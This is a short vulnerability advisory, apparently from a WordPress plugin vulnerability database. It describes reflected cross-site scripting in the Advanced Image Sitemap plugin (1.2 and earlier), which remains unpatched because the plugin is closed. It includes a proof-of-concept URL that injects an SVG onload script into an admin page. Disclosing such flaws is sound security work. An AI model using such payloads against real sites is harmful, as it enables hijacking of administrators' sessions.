WordPress Plugin Vulnerabilities
Advanced Image Sitemap <= 1.2 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the PHP_SELF PHP variable before outputting it back in an attribute in an admin page, leading to Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/options-general.php/%22%3E%3Csvg/onload=alert(/xss/)%3E?page=ais
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-04-19 (about 1 years ago)
Added
2022-04-19 (about 1 years ago)
Last Updated
2022-04-20 (about 1 years ago)